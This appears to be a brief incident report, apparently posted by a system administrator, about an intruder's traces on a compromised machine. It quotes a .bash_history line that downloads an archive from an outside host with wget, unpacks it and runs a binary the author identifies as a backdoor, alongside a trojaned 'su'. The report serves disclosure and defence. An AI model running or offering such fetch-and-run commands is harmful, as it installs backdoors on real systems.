Left in the .bash_history was this:

        wget www.geocities.com/Lebadash/loc.tgz; tar xvzf loc.tgz
        ./epc

A quick check tells me that 'epc' is a backdoor utility, and the other
file contained within loc.tgz looks like a trojaned 'su'.

I've already notified Geocities abuse, and haven't heard back from them
yet.

Note that the file does not appear to be stored on the Geocities site; the Geocities site redirects to http://www.djteckh.com/loc.tgz, which is a Yahoo domain.
